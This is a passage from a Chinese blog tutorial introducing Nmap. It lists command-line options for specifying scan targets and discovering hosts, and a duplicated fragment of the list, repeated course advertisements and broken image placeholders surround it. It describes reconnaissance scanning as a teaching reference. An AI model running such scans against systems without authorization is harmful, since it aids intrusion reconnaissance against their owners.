● -PO[protocollist]:使用IP协议包探测对方主机是否开启。
● -n/-R:-n表示不进行DNS解析;-R表示总是进行DNS解析。
● --dns-servers<serv1[, serv2], …>:指定DNS服务器。
● --system-dns:指定使用系统的DNS服务器。

img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上软件测试知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

需要这份系统化的资料的朋友,可以戳这里获取

log.csdnimg.cn/img_convert/05678c3ea2b3960c96a9183399e040f4.jpeg)

3.Nmap入门

3.1 扫描参数

进入安装目录后,在命令行直接执行Nmap或查看帮助文档(输入nmap–help)将显示Namp的用法及其功能,如下图所示:

在讲解具体的使用方法前,先介绍一下Nmap的相关参数的含义与用法。首先介绍设置扫描目标时用到的相关参数,如下所示:

● -iL:从文件中导入目标主机或目标网段。  
● -iR:随机选择目标主机。  
● --exclude:后面跟的主机或网段将不在扫描范围内。  
● --excludefile:导入文件中的主机或网段将不在扫描范围中。  
与主机发现方法相关的参数如下。  
● -sL:List Scan(列表扫描),仅列举指定目标的IP,不进行主机发现。  
● -sn:Ping Scan,只进行主机发现,不进行端口扫描。  
● -Pn:将所有指定的主机视作已开启,跳过主机发现的过程。  
● -PS/PA/PU/PY\[portlist\]:使用TCP SYN/ACK或SCTP INIT/ECHO方式来发现。  
● -PE/PP/PM:使用ICMP echo、timestamp、netmask请求包发现主机。  
● -PO\[protocollist\]:使用IP协议包探测对方主机是否开启。  
● -n/-R:-n表示不进行DNS解析;-R表示总是进行DNS解析。  
● --dns-servers<serv1\[, serv2\], ...>:指定DNS服务器。  
● --system-dns:指定使用系统的DNS服务器。  


[外链图片转存中...(img-E8qQ7ObT-1715558984755)]
[外链图片转存中...(img-ESGbQ1A7-1715558984756)]
[外链图片转存中...(img-Bz4PiGLt-1715558984756)]

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上软件测试知识点,真正体系化!**

**由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新**

**[需要这份系统化的资料的朋友,可以戳这里获取](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb)**

  • 26
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值